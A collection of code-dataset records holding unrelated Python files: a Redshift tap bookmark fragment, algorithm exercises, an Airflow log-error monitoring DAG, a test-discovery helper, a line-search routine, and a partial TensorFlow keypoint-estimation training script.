raw_replication_key == replication_key:\n raw_replication_key_value = bookmarks.get_bookmark(\n raw_state, tap_stream_id, 'replication_key_value'\n )\n state = bookmarks.write_bookmark(\n state, tap_stream_id, 'replication_key_value', raw_replication_key_value\n )\n if raw_stream_version is not None:\n state = bookmarks.write_bookmark(\n state, tap_stream_id, 'version', raw_stream_version\n )\n elif replication_method == 'FULL_TABLE' and raw_stream_version is None:\n state = bookmarks.write_bookmark(\n state, tap_stream_id, 'version', raw_stream_version\n )\n return state\n","sub_path":"tap-redshift/src/sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":10940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"304868464","text":"\"\"\"\n460. Find K Closest Elements\nGiven a target number, a non-negative integer k and an integer array A sorted in ascending order, find the k closest numbers to target in A, sorted in ascending order by the difference between the number and target. Otherwise, sorted in ascending order by number if the difference is same.\n\nExample\nGiven A = [1, 2, 3], target = 2 and k = 3, return [2, 1, 3].\n\nGiven A = [1, 4, 6, 8], target = 3 and k = 3, return [4, 1, 6].\n\nChallenge\nO(logn + k) time complexity.\n\"\"\"\n\n\nimport heapq\n\n\nclass BinarySearch:\n \"\"\"\n @param A: an integer array\n @param target: An integer\n @param k: An integer\n @return: an integer array\n \"\"\"\n\n def kClosestNumbers(self, A, target, k):\n if k <= 0 or not A:\n return []\n res = []\n for i in range(k):\n res.append(A.pop(self.findPosition(A, target)))\n return res\n\n def findPosition(self, A, target):\n start, end = 0, len(A) - 1\n while start + 1 < end:\n mid = start + (end - start) // 2\n if A[mid] == target:\n return mid\n elif A[mid] < target:\n start = mid\n else:\n end = mid\n\n if abs(target - A[start]) <= abs(target - A[end]):\n return start\n else:\n return end\n\n\nclass Type:\n def __init__(self, index, val):\n self.index = index\n self.value = val\n\n def __lt__(self, other):\n if other.value != self.value:\n return other.value > self.value\n else:\n return other.index > self.index\n\n\nclass Solution:\n def kClosestNumbers(self, A, target, k):\n if k <= 0 or not A:\n return []\n\n heap = []\n for i in range(len(A)):\n diff = abs(A[i] - target)\n heapq.heappush(heap, Type(i, diff))\n\n ans = []\n for i in range(k):\n t = heapq.heappop(heap)\n ans.append(A[t.index])\n return ans\n\n\ns = Solution()\ns.kClosestNumbers([1, 4, 6, 8], 3, 3)\n","sub_path":"BinarySearch/FindKClosestElements.py","file_name":"FindKClosestElements.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"198804102","text":"\"\"\"\nData pipeline to monitor error in log server and send email if the amount of certain error exceed threshold\n\"\"\"\nfrom airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom datetime import datetime, timedelta, date\nfrom airflow.contrib.operators.sftp_operator import SFTPOperator\nfrom airflow.contrib.operators.sftp_operator import SFTPOperation\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.email_operator import EmailOperator\nfrom airflow.operators.python_operator import BranchPythonOperator\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.models import Variable\nfrom log_parser import parse_log_file\nfrom count_errors import gen_error_reports\nimport os\n\n\ndef check_error_threshold(**kwargs):\n threshold = int(Variable.get(\"error_threshold\", default_var=3))\n ti = kwargs['ti']\n error_count = int(ti.xcom_pull(key='error_count', task_ids='gen_reports'))\n print(f'Error occurrencs: {error_count}, threshold: {threshold}')\n return 'send_email' if error_count >= threshold else 'dummy_op'\n\n\ndefault_args = {\n \"owner\": \"airflow\",\n \"depends_on_past\": False,\n \"start_date\": datetime.now() - timedelta(minutes=20), #datetime(2020, 7, 24),\n \"email\": [\"airflow@airflow.com\"],\n \"email_on_failure\": False,\n \"email_on_retry\": False,\n \"retries\": 1,\n \"retry_delay\": timedelta(minutes=5),\n \"catchup\": False,\n # 'queue': 'bash_queue',\n # 'pool': 'backfill',\n # 'priority_weight': 10,\n # 'end_date': datetime(2016, 1, 1),\n}\n\ndag = DAG(\"monitor_errors\", default_args=default_args, schedule_interval=timedelta(1))\n\ndate_tag = date.today().strftime('%Y%m%d') #'''{{ ds_nodash }}'''\ntable_name = f'error_logs_{date_tag}'\nbase_folder = f'{os.environ[\"AIRFLOW_HOME\"]}/data/{date_tag}'\nremote_path = ''\n\nlog_list = [\n 'securityApp.log',\n 'mainApp.log',\n 'extApp.log',\n 'timeApp.log',\n 'tokenApp.log',\n 'bridgeApp.log',\n 'daemonApp.log',\n 'notificationApp.log',\n 'messageApp.log']\n\ndl_tasks = []\nfor file in log_list:\n op = SFTPOperator(task_id=f\"download_{file}\",\n ssh_conn_id=\"log_server\",\n local_filepath=f\"{base_folder}/{file}\",\n remote_filepath=f\"{remote_path}/{file}\",\n operation=SFTPOperation.GET,\n create_intermediate_dirs=True,\n dag=dag)\n dl_tasks.append(op)\n\n\nbash_command = \"\"\"\n grep -E 'Exception' --include=\\\\*.log -rnw '{{ params.base_folder }}' > {{ params.base_folder }}/errors.txt\n ls -l {{ params.base_folder }}/errors.txt && cat {{ params.base_folder }}/errors.txt\n\"\"\"\ngrep_exception = BashOperator(task_id=\"grep_exception\",\n bash_command=bash_command,\n params={'base_folder': base_folder},\n dag=dag)\n\n\n# creat postgres connection\ncreate_table = PostgresOperator(task_id='create_table',\n sql='''DROP TABLE IF EXISTS {0};\n CREATE TABLE {0} (\n id SERIAL PRIMARY KEY,\n filename VARCHAR (100) NOT NULL,\n line integer NOT NULL,\n date VARCHAR (15) NOT NULL,\n time VARCHAR (15) NOT NULL,\n session VARCHAR (50),\n app VARCHAR (50),\n module VARCHAR (100),\n error VARCHAR(512)\n );'''.format(table_name),\n dag=dag)\n\n\nparse_log = PythonOperator(task_id='parse_log',\n python_callable=parse_log_file,\n op_kwargs={'filepath': f'{base_folder}/errors.txt',\n 'tablename': f'{table_name}'},\n dag=dag)\n\n\ngen_reports = PythonOperator(task_id='gen_reports',\n python_callable=gen_error_reports,\n op_kwargs={'statfile': f'{base_folder}/error_stats.csv',\n 'logfile': f'{base_folder}/error_logs.csv',\n 'tablename': f'{table_name}'},\n provide_context=True,\n dag=dag)\n\n\ncheck_threshold = BranchPythonOperator(task_id='check_threshold', python_callable=check_error_threshold, provide_context=True, dag=dag)\n\n\nsend_email = EmailOperator(task_id='send_email',\n to='tony.xu@airflow.com',\n subject='Daily report of error log generated',\n html_content=\"\"\"

Here is the daily report of error log for {{ ds }}

\"\"\",\n files=[f'{base_folder}/error_stats.csv', f'{base_folder}/error_logs.csv'],\n dag=dag)\n\n\ndummy_op = DummyOperator(task_id='dummy_op', dag=dag)\n\n\ndl_tasks >> grep_exception >> create_table >> parse_log >> gen_reports >> check_threshold >> [send_email, dummy_op]\n","sub_path":"dags/monitor_errors.py","file_name":"monitor_errors.py","file_ext":"py","file_size_in_byte":5181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"556499910","text":"# Copyright 2016 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os.path\nimport yaml\n\n\ndef get_basepath():\n import system_test\n return os.path.join(\n os.path.dirname(os.path.dirname(system_test.__file__)))\n\n\ndef get_list_confignames(filelist):\n \"\"\"Get list of config name from file list\"\"\"\n return [get_configname(filename) for filename in filelist]\n\n\ndef get_configname(path):\n \"\"\"Get config name from path to yaml file\"\"\"\n return os.path.splitext(os.path.basename(path))[0]\n\n\ndef get_path_to_config():\n \"\"\"Find path to directory with config files\"\"\"\n import system_test\n return os.path.join(os.path.dirname(system_test.__file__),\n 'tests_templates/tests_configs')\n\n\ndef get_path_to_template():\n \"\"\"Find path to directory with templates files\"\"\"\n import system_test\n return os.path.join(os.path.dirname(system_test.__file__),\n 'tests_templates')\n\n\ndef collect_yamls(path):\n \"\"\"Walk through config directory and find all yaml files\"\"\"\n ret = []\n for r, _, f in os.walk(path):\n for one in f:\n if os.path.splitext(one)[1] in ('.yaml', '.yml'):\n ret.append(os.path.join(r, one))\n return ret\n\n\ndef load_yaml(path):\n \"\"\"Load yaml file from path\"\"\"\n def yaml_include(loader, node):\n file_name = os.path.join(get_path_to_template(), node.value)\n if not os.path.isfile(file_name):\n raise ValueError(\n \"Cannot load the template {0} : include file {1} \"\n \"doesn't exist.\".format(path, file_name))\n return yaml.load(open(file_name))\n\n def yaml_get_env_variable(loader, node):\n if not node.value.strip():\n raise ValueError(\"Environment variable is required after {tag} in \"\n \"{filename}\".format(tag=node.tag,\n filename=loader.name))\n node_value = node.value.split(',', 1)\n # Get the name of environment variable\n env_variable = node_value[0].strip()\n\n # Get the default value for environment variable if it exists in config\n if len(node_value) > 1:\n default_val = node_value[1].strip()\n else:\n default_val = None\n\n value = os.environ.get(env_variable, default_val)\n if value is None:\n raise ValueError(\"Environment variable {var} is not set from shell\"\n \" environment! No default value provided in file \"\n \"{filename}\".format(var=env_variable,\n filename=loader.name))\n\n return yaml.load(value)\n\n yaml.add_constructor(\"!include\", yaml_include)\n yaml.add_constructor(\"!os_env\", yaml_get_env_variable)\n\n return yaml.load(open(path))\n\n\ndef find_duplicates(yamls):\n dup = {}\n for one in yamls:\n name = os.path.basename(one)\n if name in dup:\n dup[name].append(one)\n else:\n dup[name] = [one]\n return {k: v for k, v in dup.items() if len(v) > 1}\n\n\ndef get_configs():\n \"\"\"Return list of dict environment configurations\"\"\"\n yamls = collect_yamls(get_path_to_config())\n dup = find_duplicates(yamls)\n if dup:\n raise NameError(\n \"Found duplicate files in templates. \"\n \"Name of template should be unique. Errors: {}\".format(dup))\n return {get_configname(y): y for y in yamls}\n\n\ndef config_filter(configs=None):\n if configs is None:\n return get_configs()\n return {k: v for k, v in get_configs().items() if k in configs}\n\n\ndef discover_test_files(basedir, dirs):\n \"\"\"Find all files in path\"\"\"\n ret = []\n for path in dirs:\n path = os.path.join(basedir, path)\n for r, _, f in os.walk(path):\n for one in f:\n if one.startswith('test_') and one.endswith('.py'):\n ret.append(os.path.join(r, one))\n return ret\n\n\ndef convert_files_to_modules(basedir, files):\n \"\"\"Convert files name to modules name\"\"\"\n ret = []\n for one in files:\n module = os.path.splitext(\n os.path.relpath(one, basedir))[0].replace('/', '.')\n ret.append(module)\n return ret\n\n\ndef discover_import_tests(basedir, dirs):\n \"\"\"Walk through directories and import all modules with tests\"\"\"\n imported_list = []\n for module in convert_files_to_modules(basedir,\n discover_test_files(basedir, dirs)):\n imported_list.append(__import__(module))\n","sub_path":"system_test/core/discover.py","file_name":"discover.py","file_ext":"py","file_size_in_byte":5102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"89188703","text":"# 1932 / calculate max sum start with top to end with one line\ntree = [list(map(int, input().split())) for _ in range(int(input()))]\nfor i in range(1, len(tree)):\n for j in range(len(tree[i])):\n if j == 0: # if first column\n tree[i][j] += tree[i - 1][j]\n elif j == len(tree[i]) - 1: # if last column\n tree[i][-1] += tree[i - 1][-1]\n else: # else check max previous number\n tree[i][j] += max(tree[i - 1][j - 1], tree[i - 1][j])\nprint(max(tree[-1]))\n","sub_path":"dp/1932.py","file_name":"1932.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"441002377","text":"#!/usr/bin/env python3\nimport math\n\nimport torch\n\nimport util\n\ndef zoom(alpha_lo, alpha_hi, phi, c1, c2):\n '''\n Algorithm 3.6 (zoom), p61\n '''\n while True:\n alpha_j = cubic_interpolation(alpha_lo, alpha_hi, phi)\n phi_alpha_j = phi(alpha_j)\n\n phi_alpha_lo = phi(alpha_lo)\n phi_0 = phi(0.0)\n phi_der_0 = util.grad(phi, torch.zeros(1))\n\n if (phi_alpha_j > (phi_0 + c1 * alpha_j * phi_der_0)) or (phi_alpha_j >= phi_alpha_lo):\n alpha_hi = alpha_j\n else:\n phi_der_alpha_j = util.grad(phi, torch.tensor([alpha_j]))\n\n if abs(phi_der_alpha_j) <= (-c2 * phi_der_0):\n return alpha_j\n\n if (phi_der_alpha_j * (alpha_hi - alpha_lo)) >= 0.0:\n alpha_hi = alpha_lo\n\n alpha_lo = alpha_j\n\ndef cubic_interpolation(alpha_lo, alpha_hi, phi):\n '''\n refer to equ 3.59, p59\n '''\n prev_alpha, alpha = alpha_lo, alpha_hi # following the book: alpha, for $\\alpha_i$, and prev_alpha, for $\\alpha_{i-1}$\n\n phi_alpha = phi(alpha)\n phi_prev_alpha = phi(prev_alpha)\n phi_der_alpha = util.grad(phi, torch.tensor([alpha]))\n phi_der_prev_alpha = util.grad(phi, torch.tensor([prev_alpha]))\n\n sign = lambda x: math.copysign(1, x) # https://stackoverflow.com/questions/1986152/why-doesnt-python-have-a-sign-function\n\n d1 = phi_der_prev_alpha + phi_der_alpha - 3 * ( (phi_prev_alpha - phi_alpha) / (prev_alpha - alpha) )\n d2 = sign(alpha - prev_alpha) * math.sqrt(d1**2 - phi_der_prev_alpha * phi_der_alpha )\n\n next_alpha = alpha - (alpha - prev_alpha) * ( (phi_der_alpha + d2 - d1) / (phi_der_alpha - phi_der_prev_alpha + 2*d2) )\n return next_alpha\n","sub_path":"optim/numopt-nocedal-2006/script/algor_03_06_zoom.py","file_name":"algor_03_06_zoom.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"159378665","text":"\nimport argparse\nimport os\nfrom pycocotools.coco import COCO\nimport numpy as np\nimport random\nimport skimage.io as io\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport pylab\nimport tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport tensorflow.contrib.slim.nets\n# from tensorflow.contrib.slim.python.slim.nets import resnet_v2\nfrom tensorflow.contrib.layers.python.layers import utils\n\npylab.rcParams['figure.figsize'] = (10.0, 8.0)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--base_dir', default='/Users/kyle/Repositories/coco')\nparser.add_argument('--train_data', default='person_keypoints_train2014')\nparser.add_argument('--val_data', default='person_keypoints_val2014')\nparser.add_argument('--test_data', default='image_info_test-dev2015')\nparser.add_argument('--image_train_dir', default='train2014')\nparser.add_argument('--image_val_dir', default='val2014')\nparser.add_argument('--image_test_dir', default='test2015')\n\nparser.add_argument('--model_path', default='checkpoints/resnet_v2_50.ckpt', type=str)\nparser.add_argument('--batch_size', default=2, type=int)\nparser.add_argument('--small_dataset', default=True, type=bool)\nparser.add_argument('--num_workers', default=4, type=int)\nparser.add_argument('--num_batches_burn_in', default=500, type=int)\nparser.add_argument('--num_epochs1', default=10, type=int)\nparser.add_argument('--num_epochs2', default=10, type=int)\nparser.add_argument('--learning_rate_burn_in', default=1e-5, type=float)\nparser.add_argument('--learning_rate1', default=1e-3, type=float)\nparser.add_argument('--decay_rate', default=0.1, type=float)\nparser.add_argument('--decay_steps', default=5000, type=float)\nparser.add_argument('--checkpoint_every', default=50, type=int) # save checkpoint 5 epochs\nparser.add_argument('--summary_every', default=200, type=int) # batches per summary\nparser.add_argument('--save_path', default='checkpoints/MegaNet', type=str)\nparser.add_argument('--log_path', default='/tmp/KyleNet', type=str)\nparser.add_argument('--dropout_keep_prob', default=0.5, type=float)\nparser.add_argument('--reg_term', default=0.0, type=float) # l2 regularization term\n\ndef check_accuracy(sess, keypoint_accuracy, labels, is_training, dataset_init_op, MAX_BATCHES=50):\n \"\"\"\n Check the accuracy of the model on either train or val (depending on dataset_init_op).\n \"\"\"\n # Initialize the correct dataset\n sess.run(dataset_init_op)\n evals = 0\n epoch_kpt_accuracy = 0\n while True and evals < MAX_BATCHES:\n try:\n kpt_acc, label = sess.run([keypoint_accuracy, labels], {is_training: False})\n epoch_kpt_accuracy += kpt_acc\n evals += 1 * tf.reduce_mean(tf.to_float(tf.greater(label, 1.5)))\n except tf.errors.OutOfRangeError:\n break\n epoch_kpt_accuracy = float(epoch_kpt_accuracy/evals)\n\n return epoch_kpt_accuracy\n\ndef check_double_accuracy(sess, keypoint_accuracy_1, keypoint_accuracy_2, labels, is_training, dataset_init_op, MAX_BATCHES=50):\n \"\"\"\n Check the accuracy of the model on either train or val (depending on dataset_init_op).\n \"\"\"\n # Initialize the correct dataset\n sess.run(dataset_init_op)\n evals = 0.0\n epoch_kpt_accuracy_1 = 0.0\n epoch_kpt_accuracy_2 = 0.0\n while True and evals < MAX_BATCHES:\n try:\n kpt_acc_1, kpt_acc_2, label = sess.run([keypoint_accuracy_1, keypoint_accuracy_2, labels], {is_training: False})\n epoch_kpt_accuracy_1 += kpt_acc_1\n epoch_kpt_accuracy_2 += kpt_acc_2\n evals += 1.0# * tf.reduce_mean(tf.to_float(tf.greater(label, 1)))\n except tf.errors.OutOfRangeError:\n break\n epoch_kpt_accuracy_1 = float(epoch_kpt_accuracy_1/(evals + 0.00001))\n epoch_kpt_accuracy_2 = float(epoch_kpt_accuracy_2/(evals + 0.00001))\n\n return epoch_kpt_accuracy_1, epoch_kpt_accuracy_2\n\ndef keypoint_SigmoidCrossEntropyLoss(graph, prediction_maps, keypoint_masks, labels, L=5.0, scope=\"keypointLoss\"):\n \"\"\"\n heat_maps = predictions from network\n keypoints (N,17,2) = actual keypoint locations\n labels (N,17,1) = 0 if invalid, 1 if occluded, 2 if valid\n \"\"\"\n with graph.as_default():\n losses = tf.nn.sigmoid_cross_entropy_with_logits(logits=prediction_maps,labels=keypoint_masks)\n labels = tf.reshape(labels,[-1,1,1,17])\n losses = tf.multiply(losses,labels) # set loss to zero for invalid keypoints (labels=0)\n \n return losses\n\ndef keypoint_SoftmaxCrossEntropyLoss(graph, prediction_maps, keypoint_masks, labels, scope=\"keypointLoss\"):\n \"\"\"\n heat_maps = predictions from network\n keypoints (N,17,2) = actual keypoint locations\n labels (N,17,1) = 0 if invalid, 1 if occluded, 2 if valid\n \"\"\"\n with graph.as_default():\n map_shape = prediction_maps.shape.as_list()\n flat_shape = (-1,1,map_shape[1]*map_shape[2],map_shape[3])\n pred_flat = tf.reshape(prediction_maps, flat_shape)\n masks_flat = tf.reshape(keypoint_masks, flat_shape)\n # softmax over dimension 1\n losses = tf.nn.softmax_cross_entropy_with_logits(labels=masks_flat,logits=pred_flat,dim=2)\n labels = tf.reshape(labels,[-1,1,1,17])\n losses = tf.multiply(losses,labels) # set loss to zero for invalid keypoints (labels=0)\n \n return losses\ndef mask_SoftmaxCrossEntropyLoss(graph, mask_prediction, mask_true, scope=\"maskLoss\"):\n \"\"\"\n heat_maps = predictions from network\n keypoints (N,17,2) = actual keypoint locations\n labels (N,17,1) = 0 if invalid, 1 if occluded, 2 if valid\n \"\"\"\n with graph.as_default():\n map_shape = mask_prediction.shape.as_list()\n flat_shape = (-1,1,map_shape[1]*map_shape[2],map_shape[3])\n pred_flat = tf.reshape(mask_prediction, flat_shape)\n masks_flat = tf.reshape(mask_true, flat_shape)\n # softmax over dimension 1\n losses = tf.nn.softmax_cross_entropy_with_logits(labels=masks_flat,logits=pred_flat,dim=2)\n \n return losses\n\ndef keypoint_TargetedCrossEntropyLoss(graph, prediction_maps, keypoint_masks, labels, L=5.0, scope=\"keypointLoss\"):\n \"\"\"\n heat_maps = predictions from network\n keypoints (N,17,2) = actual keypoint locations\n labels (N,17,1) = 0 if invalid, 1 if occluded, 2 if valid\n \"\"\"\n with graph.as_default():\n losses = tf.nn.sigmoid_cross_entropy_with_logits(logits=prediction_maps,labels=keypoint_masks)\n losses = tf.multiply(losses, keypoint_masks) # Constrain loss to correct prediction region\n labels = tf.reshape(labels,[-1,1,1,17])\n losses = tf.multiply(losses,labels) # set loss to zero for invalid keypoints (labels=0)\n \n return losses\n\n\ndef keypoint_SquaredErrorLoss(graph, prediction_maps, keypoint_masks, labels, L=5.0, scope=\"keypointLoss\"):\n \"\"\"\n heat_maps = predictions from network\n keypoints (N,17,2) = actual keypoint locations\n labels (N,17,1) = 0 if invalid, 1 if occluded, 2 if valid\n \"\"\"\n with graph.as_default():\n with tf.variable_scope(scope):\n losses = tf.squared_difference(prediction_maps,keypoint_masks)\n labels = tf.reshape(labels,[-1,1,1,17])\n losses = tf.multiply(losses,labels) # set loss to zero for invalid keypoints (labels=0)\n \n return losses\n\ndef KeypointPrediction(graph, pred_masks, d, scope='KeypointPrediction'):\n \"\"\"\n Input: Keypoint \"Heatmap\" Tensor\n Output: Keypoint coordinates in tensor form\n \"\"\"\n with graph.as_default(): \n with tf.variable_scope(scope):\n x = tf.reshape(tf.linspace(0.5,d-0.5,d),[1,d,1,1])\n pred = tf.multiply(pred_masks, tf.to_float(tf.greater_equal(pred_masks,0.5)))\n pred_i = tf.reduce_sum(tf.multiply(pred, x),axis=[1,2])/tf.reduce_sum(pred,axis=[1,2])\n pred_j = tf.reduce_sum(tf.multiply(pred, tf.transpose(x,(0,2,1,3))),axis=[1,2])/tf.reduce_sum(pred,axis=[1,2])\n pred_pts = tf.stack([pred_j,pred_i],axis=1)\n pred_pts = tf.expand_dims(pred_pts,axis=1)\n return pred_pts\n\ndef keypointPredictionAccuracy(graph, pred_pts, true_pts, labels, threshold, scope='KeypointPrediction'):\n \"\"\"\n Accuracy is a boolean: 1 if ||pred_pt-true_pt||^2 < threshold^2, 0 otherwise\n \"\"\"\n with graph.as_default():\n with tf.variable_scope(scope):\n error = tf.reduce_sum(tf.square(tf.subtract(pred_pts, true_pts)), axis=2)\n accuracy = tf.to_float(tf.less(error,tf.square(threshold))) * tf.to_float(tf.greater_equal(labels,1.5))\n accuracy = tf.reduce_sum(accuracy) / (tf.reduce_sum(tf.to_float(tf.greater_equal(labels,1.5))) + 0.00001)\n return accuracy\n\ndef MaskAccuracy(graph, pred_mask, true_mask):\n with graph.as_default(): \n overlap = tf.reduce_sum(tf.multiply(tf.to_float(pred_mask),tf.to_float(true_mask)),axis=[1,2,3])\n score1 = tf.divide(overlap, tf.reduce_sum(tf.to_float(pred_mask),axis=[1,2,3]))\n score2 = tf.divide(overlap, tf.reduce_sum(tf.to_float(true_mask),axis=[1,2,3]))\n accuracy = tf.minimum(score1,score2)\n return tf.reduce_mean(accuracy)\n\n\ndef get_data(base_dir,image_dir,ann_file):\n \"\"\"\n return paths to images with which you want to work\n \"\"\"\n image_path = '{}/images/{}'.format(base_dir,image_dir)\n ann_path='{}/annotations/{}.json'.format(base_dir,ann_file)\n\n return image_path, ann_path\n \n#######################################################\n#### VISUALIZATION TOOLS - WEIGHTS AND ACTIVATIONS ####\n#######################################################\ndef highestPrimeFactorization(n): \n return [(i, n//i) for i in range(1, int(n**0.5) + 1) if n % i == 0][-1] \n\ndef getFilterImage(filters):\n \"\"\"\n Takes as input a filter bank of size (1, H, W, C, D)\n Returns: a tensor of size (1, sqrt(D)*H, sqrt(D)*H, C)\n (This only really works for the first layer of filters with an image as input)\n \"\"\"\n padded_filters = tf.pad(filters,tf.constant([[0,0],[1,0],[1,0],[0,0],[0,0]]),'CONSTANT')\n filter_list = tf.unstack(padded_filters,axis=4)\n N = len(filter_list)\n H = int(np.ceil(np.sqrt(N)))\n W = int(np.floor(N/H))\n diff = N - H*W\n weight_strips = [tf.concat(filter_list[H*i:H*(i+1)],axis=1) for i in range(W)]\n if diff > 0:\n final_strip = tf.concat(filter_list[H*W:N],axis=1)\n final_strip = tf.pad(final_strip,tf.constant([[0,0],[0,(H-diff)*padded_filters.shape.as_list()[1]],[0,0],[0,0]]),'CONSTANT')\n weight_strips.append(final_strip)\n weight_image = tf.concat(weight_strips,axis=2)\n \n return weight_image\n\ndef getActivationImage(activations):\n \"\"\"\n Tiles an activation map into a square grayscale image\n Takes as input an activation map of size (N, H, W, D)\n Returns: a tensor of size (N, sqrt(D)*H, sqrt(D)*H, 1)\n \"\"\"\n padded_activations = tf.pad(activations,tf.constant([[0,0],[1,0],[1,0],[0,0]]),'CONSTANT')\n expanded_activations = tf.expand_dims(padded_activations,axis=3)\n activations_list = tf.unstack(expanded_activations,axis=4)\n N = len(activations_list)\n H = int(np.ceil(np.sqrt(N)))\n W = int(np.floor(N/H))\n diff = N - H*W\n activation_strips = [tf.concat(activations_list[H*i:H*(i+1)],axis=1) for i in range(W)]\n if diff > 0:\n final_strip = tf.concat(activations_list[H*W:N],axis=1)\n final_strip = tf.pad(final_strip,tf.constant([[0,0],[0,(H-diff)*padded_activations.shape.as_list()[1]],[0,0],[0,0]]),'CONSTANT')\n activation_strips.append(final_strip)\n activation_image = tf.concat(activation_strips,axis=2) \n\n return activation_image\n\ndef keypointHeatMapOverlay(images, kpt_masks, threshold=0.1, scale=2.0, grayscale=True): \n \"\"\"\n Inputs:\n images - (BATCH_SIZE,H,W,C)\n kpt_masks - (BATCH_SIZE,H,W,NUM_KPTS)\n threshold - value of keypoint mask above which we completely remove the image pixels underneath\n returns an image with keypoint masks overlaid on a grayscale version of the original image. \n \"\"\" \n images_scaled = tf.image.resize_bilinear(images, kpt_masks.shape[1:3]) # resize\n image_tile = getFilterImage(tf.stack([images_scaled for i in range(17)],axis=4)) # tile\n if grayscale == True:\n image_tile = tf.reduce_mean(image_tile,axis=3,keep_dims=True) # grayscale\n image_tile = tf.divide(image_tile, tf.reduce_max(image_tile)) # normalize\n\n # normalize individual keypoint masks\n keypoint_masks = tf.divide(kpt_masks, tf.reduce_max(kpt_masks,axis=[1,2], keep_dims=True))\n keypoint_tile = getActivationImage(keypoint_masks) # tile\n \n image_tile = image_tile*tf.to_float(tf.less_equal(keypoint_tile,threshold)) # zero at keypoint locations?\n keypoint_tile = tf.concat([keypoint_tile, tf.zeros_like(keypoint_tile),tf.zeros_like(keypoint_tile)],axis=3) # map to R color channel\n\n flattened_tile = image_tile + scale * keypoint_tile\n \n return flattened_tile\n\n\n\n#######################################################\n########### NETWORK DEFINITION FUNCTION(S) ############\n#######################################################\ndef HourGlassNet(graph, inputs=None, num_filters=[64,128,256,512,1024], num_bridges=[5,4,3,2,1],scalar_summary_list=None, image_summary_list=None, histogram_summary_list=None):\n \"\"\"\n Returns:\n - net \n - summary lists\n \"\"\"\n ###################################################\n ################### HOURGLASS 1 ###################\n ###################################################\n with graph.as_default():\n # Initialize summaries\n if scalar_summary_list is None:\n scalar_summary_list = []\n if image_summary_list is None:\n image_summary_list = []\n if histogram_summary_list is None:\n histogram_summary_list = []\n \n head = {}\n with tf.variable_scope('Hourglass'):\n with tf.variable_scope('base'):\n # base = tf.layers.conv2d(inputs, base_filters, (3,3),strides=(1,1),padding='SAME')\n # histogram_summary_list.append(tf.summary.histogram('base', base))\n # image_summary_list.append(tf.summary.image('base',getActivationImage(base),max_outputs=1))\n # base = tf.layers.batch_normalization(base,axis=3)\n # base = tf.nn.relu(base)\n base = inputs\n\n for level in range(len(num_filters)):\n # Bridge - maintain constant size\n with tf.variable_scope('level_{}_bridge'.format(level)):\n bridge = base\n bridge_filters = num_filters[level]\n for i in range(num_bridges[level]):\n bridge = tf.layers.dropout(bridge,rate=args.dropout_keep_prob)\n bridge = tf.layers.conv2d(bridge,bridge_filters,(3,3),strides=(1,1),padding='SAME')\n histogram_summary_list.append(tf.summary.histogram('level_{}_bridge_{}'.format(level+1,i+1), bridge))\n bridge = tf.layers.batch_normalization(bridge,axis=3)\n bridge = tf.nn.relu(bridge)\n head[level] = bridge\n image_summary_list.append(tf.summary.image('bridge_{}'.format(level), getActivationImage(bridge),max_outputs=1))\n \n if level < len(num_filters) - 1:\n with tf.variable_scope('level_{}'.format(level+1)):\n # Base - decrease size by factor of 2 for n\n base = tf.layers.dropout(base,rate=args.dropout_keep_prob)\n base = tf.layers.conv2d(base,bridge_filters,(3,3),strides=(2,2),padding='SAME')\n histogram_summary_list.append(tf.summary.histogram('level_{}_base'.format(level+1), base))\n base = tf.layers.batch_normalization(base,axis=3)\n base = tf.nn.relu(base)\n \n for level in reversed(range(1,len(num_filters))):\n # resize_bilinear or upconv?\n # output = tf.image.resize_bilinear(ouput,size=2*output.shape[1:2])\n with tf.variable_scope('level_{}_up'.format(level)):\n out_filters = num_filters[level-1]\n output = head[level]\n output = tf.layers.dropout(output,rate=args.dropout_keep_prob)\n output = tf.layers.conv2d_transpose(output,out_filters,(3,3),(2,2),padding='SAME')\n histogram_summary_list.append(tf.summary.histogram('level_{}_out'.format(level+1), output))\n output = tf.layers.batch_normalization(output,axis=3) # HERE OR AFTER CONCAT???\n output = tf.nn.relu(output) # HERE OR AFTER CONCAT???\n\n # if level > 0:\n head[level-1] = tf.concat([head[level-1],output],axis=3)\n \n return head[0], scalar_summary_list, image_summary_list, histogram_summary_list\n\n\n\ndef main(args):\n graph = tf.Graph()\n with graph.as_default():\n ######################## Data Path ########################\n train_img_path, train_ann_path = get_data(args.base_dir,args.image_train_dir,args.train_data)\n val_img_path, val_ann_path = get_data(args.base_dir,args.image_val_dir,args.val_data)\n # initialize a coco object\n print(\"Initializing COCO objects to extract training and validation datasets...\\n\")\n train_coco = COCO(train_ann_path)\n val_coco = COCO(val_ann_path)\n \n #######################################################\n ############### VARIOUS HYPER-PARAMETERS ##############\n #######################################################\n\n NUM_KEYPOINTS = 17\n BATCH_SIZE = args.batch_size\n L = 5.0 # keypoint effective radius\n D = 256 # image height and width\n d = 128 # evaluation height and width (for mask and keypoint masks)\n MASK_THRESHOLD = 0.5 # threshold for on/off prediction (in mask and keypoint masks)\n KP_THRESHOLD = 0.5 # threshold 